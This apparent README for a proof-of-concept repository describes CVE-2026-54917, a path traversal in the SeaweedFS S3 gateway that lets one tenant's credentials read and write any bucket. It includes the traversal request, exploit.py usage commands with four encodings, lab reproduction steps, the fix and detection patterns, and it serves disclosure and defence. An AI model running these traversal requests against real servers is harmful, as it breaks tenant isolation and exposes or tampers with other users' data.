CVE-2026-54917 — تجاوز المسار عبر الحاويات في بوابة SeaweedFS S3

إثبات مفهوم وتقرير تقني لـ CVE-2026-54917، وهو ثغرة تجاوز مسار في بوابة SeaweedFS S3 API تتيح للمتصل الوصول إلى كائنات في أي حاوية (bucket)، بغض النظر عن الصلاحيات المخوَّلة لبيانات اعتماده.

├── exploit.py           self-contained exploit (read + write, 4 traversal encodings)
├── README.md            this file
├── ANALYSIS.md          source-level root-cause walkthrough
├── EVIDENCE.txt         raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff      the security-relevant portion of the official fix
└── lab/                 one-command reproduction (docker-compose / setup.sh)

الملخص

تم بناء موجّه S3 API باستخدام mux.NewRouter().SkipClean(true). ومع تعطيل تنظيف المسار، فإن مقطع .. داخل مسار الطلب يبقى بعد التوجيه. على سبيل المثال، الطلب التالي:

GET /bucket-a/../evil-bucket/secret.txt

يطابق مسار التوجيه في mux الطلب بحيث يكون {bucket} = "bucket-a"، و{object} = "../evil-bucket/secret.txt".

عندها يتباعد أمران:

• الترخيص يُنفَّذ على متغير mux {bucket} — أي bucket-a — الذي يُسمَح للمتصل باستخدامه.
• الإدخال/الإخراج يضم مفتاح الكائن إلى مسار filer (bucketDir(bucket) + "/" + object)، ويقوم filer بتسوية .. من جانب الخادم، لذا تقع القراءة/الكتابة فعليًا في evil-bucket.

النتيجة هي مشكلة الوكيل المربك (confused deputy) الكلاسيكية: يتحقق IAM من حاوية واحدة بينما يتعامل نظام الملفات مع أخرى. يمكن لأي كيان (principal) مخوَّل لحاوية واحدة أن يقرأ ويكتب كائنات في كل حاوية أخرى على المثيل.

التأثير

• enableAuth = false — قراءة/كتابة مباشرة عبر الحاويات دون مصادقة.
• enableAuth = true — وكيل مربك في الترخيص: أي كيان مصادَق (أي مستأجر) يقرأ ويكتب عبر حدود الحاويات التي لا يملك تصريحًا لها. هذه هي الحالة الموضحة هنا، وهي سبب النتيجة 10.0 / النطاق المتغيّر (scope changed): بيانات اعتماد مستأجر واحد تكسر عزلة جميع المستأجرين الآخرين.

الاستغلال

يستخدم exploit.py مكتبة Python القياسية فقط. يوقّع كل طلب بـ SigV4 بنفسه ويكتب سطر الطلب بايت ببايت، لذا يصل مسار التجاوز إلى الخادم دون تعديل — وهو ما يتيح المتغيرات المرمّزة في URL التي قد يعيد S3 SDK عادي كتابتها.

# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
  --url http://TARGET:8333 \
  --access-key <key> --secret-key <secret> \
  --auth-bucket bucket-a \          # bucket the credential IS allowed to use
  --target-bucket evil-bucket \     # bucket you are NOT allowed to use
  --key secret.txt

# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin

# try a different traversal encoding
python3 exploit.py ... --variant enc-slash        # dotdot | enc-dot | enc-slash | enc-backslash

تم تنفيذ أربعة ترميزات للتجاوز وكلها مؤكدة على 4.29:

إعادة الإنتاج

cd lab
./setup.sh                       # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
  --access-key TENANTAKEY --secret-key tenantasecret \
  --auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly

TAG=4.30 ./setup.sh              # patched build, same steps -> HTTP 400 InvalidRequest

يُفعّل إعداد الاختبار IAM (lab/s3.json) بهويتين: admin (كاملة الصلاحيات) وtenant-a (مقيّدة على bucket-a). يستخدم كل الاستغلال بيانات اعتماد tenant-a فقط. راجع EVIDENCE.txt للنص الكامل.

السبب الجذري

انظر ANALYSIS.md. باختصار: يُبقي SkipClean(true) على .. في المسار المُوجَّه، ويلتقط GetBucketAndObject متغيرات mux الخام، ويأذن IAM بناءً على {bucket}، ويضمّ toFilerPath {object} (الذي ما زال يحتوي على ..) إلى مسار filer، حيث تتم تسويته فيعبر حدود الحاوية.

الإصلاح

تم إصلاحها في 4.30 (patch-4.30.diff). تعمل برمجية وسيطة باسم validateRequestPath قبل معالجات الحاويات وترفض أي متغير {bucket} / {object} ملتقط يكون فارغًا أو يحتوي على مقطع تجاوز، مع إرجاع 400 InvalidRequest. قم بالترقية إلى 4.30 أو أحدث.

الكشف

• أي طلب S3 يحتوي مساره على /../ أو /%2e%2e أو ..%2f أو ..%5c بين مقطع الحاوية والمفتاح.
• سجلات الوصول التي تختلف فيها الحاوية التي قيّمها IAM عن الحاوية التي استقر عليها الكائن في النهاية.

الإسهامون

Caio Fabrício — github.com/BiiTts